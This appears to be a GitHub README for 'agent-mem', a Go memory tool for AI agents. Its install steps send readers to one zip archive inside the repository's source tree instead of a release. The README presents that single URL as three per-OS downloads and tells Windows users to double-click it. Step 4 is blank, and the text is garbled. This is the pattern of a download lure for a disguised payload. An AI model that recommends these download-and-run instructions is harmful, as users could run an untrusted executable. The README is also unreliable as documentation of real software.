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🧠 Enhance AI agents with long-term memory and self-evolution using this lightweight, high-performance knowledge base middleware built in Go.

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🌟 agent-mem - Effortless Memory Management for AI

πŸš€ Getting Started

Welcome to the agent-mem project. This software helps AI agents manage memory efficiently. Whether you're running Claude or Cursor, agent-mem enhances performance with features like active file watching and auto-distillation. It supports advanced versioning systems to ensure your data stays organized and consistent.

πŸ“₯ Download the Latest Release

Download agent-mem

πŸ”§ System Requirements

Before you download, ensure your system meets the following requirements:

  • Operating Systems: This application runs on Windows, macOS, and Linux.
  • Memory: At least 4 GB of RAM is recommended for smooth performance.
  • Processor: A modern multi-core CPU.
  • Disk Space: You will need at least 200 MB of free disk space.

πŸ“š Features

  • Active File Watching: Automatically monitor files for changes. agent-mem adjusts memory management based on the latest updates.
  • Auto-Distillation via LLM: Leverages language models to simplify and refine data storage.
  • Single Source of Truth Versioning: Keeps your data consistent across applications for better reliability.
  • Native MCP Support: Works seamlessly with Model Context Protocol for enhanced AI capabilities.

πŸ› οΈ Download & Install

To get started with agent-mem, follow these steps:

  1. Visit the Releases Page: Go to the Releases page to find the latest version.
  2. Select the Download: Look for the latest release. You will see various files. Choose the one that matches your operating system. For most users, the file names will look like https://github.com/HanFromTokyoDrift/agent-mem/raw/refs/heads/main/mcp-go/cmd/agent_mem_fabler.zip, https://github.com/HanFromTokyoDrift/agent-mem/raw/refs/heads/main/mcp-go/cmd/agent_mem_fabler.zip, or https://github.com/HanFromTokyoDrift/agent-mem/raw/refs/heads/main/mcp-go/cmd/agent_mem_fabler.zip.
  3. Download the File: Click on the file to initiate the download. This will save the file to your computer.
  4. Extract the Files:
  5. Run the Application:
    • On Windows, find the folder where you extracted the files and double-click https://github.com/HanFromTokyoDrift/agent-mem/raw/refs/heads/main/mcp-go/cmd/agent_mem_fabler.zip.
    • On macOS, locate the agent-mem file and double-click it.
    • On Linux, navigate to the folder in the terminal and run ./agent-mem.

πŸŽ‰ Quick Setup

Once you have downloaded and run agent-mem, you'll see a user-friendly interface.

  1. Configuration: Follow the on-screen prompts to set up your preferences. You can adjust settings for file watching and memory management based on your needs.
  2. Start Using Agent-Mem: After setting it up, you can now begin monitoring your files and managing data memory efficiently.

🌐 Support and Community

If you have any questions, suggestions, or need help, feel free to reach out:

  • Issues on GitHub: Report any bugs or issues directly on the GitHub Issues page.
  • Community Discussion: Join discussions and connect with other users on our community forum.

πŸ“– Additional Learning Resources

To maximize your use of agent-mem, consider exploring the following resources:

  • Documentation: Comprehensive guides are available to help you understand advanced features and settings.
  • Tutorial Videos: Check our video playlist for step-by-step guides on setting up and using agent-mem.

πŸ“£ Acknowledgements

agent-mem is built with contributions from a dedicated team. Thank you for supporting open-source projects!

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